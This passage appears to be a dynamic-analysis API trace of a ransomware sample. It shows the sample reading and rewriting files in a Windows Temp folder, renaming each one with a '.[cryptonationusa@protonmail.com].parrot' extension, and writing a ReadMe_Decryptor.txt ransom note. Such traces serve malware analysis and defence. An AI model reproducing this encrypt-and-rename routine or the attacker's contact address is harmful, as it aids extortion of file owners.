lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0 [0088.724] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.724] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.725] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.725] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12b59, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x12b59, lpOverlapped=0x0) returned 1 [0088.728] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.730] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSOA5hUdE _X 0cl.csv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsoa5hude _x 0cl.csv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSOA5hUdE _X 0cl.csv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\hsoa5hude _x 0cl.csv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.735] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.735] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.736] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.736] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1078b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1078b, lpOverlapped=0x0) returned 1 [0088.740] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.742] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\KhbGc.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\khbgc.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\KhbGc.jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\khbgc.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.747] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.747] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.748] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.748] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1542e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1542e, lpOverlapped=0x0) returned 1 [0088.752] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.754] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kwRkY.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kwrky.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\kwRkY.png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\kwrky.png.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.756] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.756] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18efb8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0088.757] GetFileType (hFile=0x270) returned 0x1 [0088.758] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x65d230 [0088.771] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.771] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.772] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.772] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6d6e, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x6d6e, lpOverlapped=0x0) returned 1 [0088.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.773] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0088.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.773] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.773] GetLastError () returned 0x0 [0088.774] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0088.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.774] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x3158088 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158088 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x3158088 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.775] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x3158ea0 [0088.775] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158088 | out: hHeap=0x5b0000) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x315a3e0 [0088.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3158ea0 | out: hHeap=0x5b0000) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x315c3a8 [0088.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315a3e0 | out: hHeap=0x5b0000) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x65d230 [0088.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315c3a8 | out: hHeap=0x5b0000) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x661980 [0088.776] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.776] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3162050 [0088.777] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661980 | out: hHeap=0x5b0000) returned 1 [0088.777] WriteFile (in: hFile=0x270, lpBuffer=0x3162060*, nNumberOfBytesToWrite=0x6e88, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x3162060*, lpNumberOfBytesWritten=0x18f1c4*=0x6e88, lpOverlapped=0x0) returned 1 [0088.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0088.778] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6e86, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.778] CloseHandle (hObject=0x270) returned 1 [0088.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0088.778] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0088.778] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c5e8 | out: hHeap=0x5b0000) returned 1 [0088.778] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lCVR2 R3a.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lcvr2 r3a.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\lCVR2 R3a.m4a.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\lcvr2 r3a.m4a.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0088.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.779] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.779] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.781] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.781] ReadFile (in: hFile=0x270, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0088.782] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.782] ReadFile (in: hFile=0x270, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x160ef, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x160ef, lpOverlapped=0x0) returned 1 [0088.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0088.783] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0088.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0088.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605470 [0088.783] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x65d230 [0088.783] GetLastError () returned 0x0 [0088.786] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d308 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605470 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d308 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605470 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0088.786] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x223c100 [0088.786] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5e9ca0 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x223c100 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x3177638 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9ca0 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x3179190 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3177638 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x3179378 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3179648 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179378 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x65d230 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179648 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x3179190 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x65d230 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3179190 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x65e048 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x65f588 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65e048 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x661550 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65f588 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x6644e8 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x661550 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x65d230 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6644e8 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x3150048 [0088.787] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d230 | out: hHeap=0x5b0000) returned 1 [0088.787] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x3162050 [0088.788] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150048 | out: hHeap=0x5b0000) returned 1 [0088.788] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x2272fb0 [0088.789] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3162050 | out: hHeap=0x5b0000) returned 1 [0088.789] WriteFile (in: hFile=0x270, lpBuffer=0x2272fc0*, nNumberOfBytesToWrite=0x16208, lpNumberOfBytesWritten=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2272fc0*, lpNumberOfBytesWritten=0x18f1c4*=0x16208, lpOverlapped=0x0) returned 1 [0088.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2272fb0 | out: hHeap=0x5b0000) returned 1 [0088.790] UnlockFile (hFile=0x270, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16207, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0088.790] CloseHandle (hObject=0x270) returned 1 [0088.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x317bf90 [0088.790] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf0) returned 0x69da28 [0088.790] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x317bf90 | out: hHeap=0x5b0000) returned 1 [0088.790] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MHigJVTTGR1 kZT_Nmp.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mhigjvttgr1 kzt_nmp.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\MHigJVTTGR1 kZT_Nmp.pptx.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\mhigjvttgr1 kzt_nmp.pptx.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0088.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69da28 | out: hHeap=0x5b0000) returned 1 [0088.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a90d8 | out: hHeap=0x5b0000) returned 1 [0088.791] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2252f70 | out: hHeap=0x5b0000) returned 1 [0088.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5da458 [0088.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x90) returned 0x223c100 [0088.791] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0088.792] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0088.796] SetFilePointerEx (in: hFile=0x270, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | 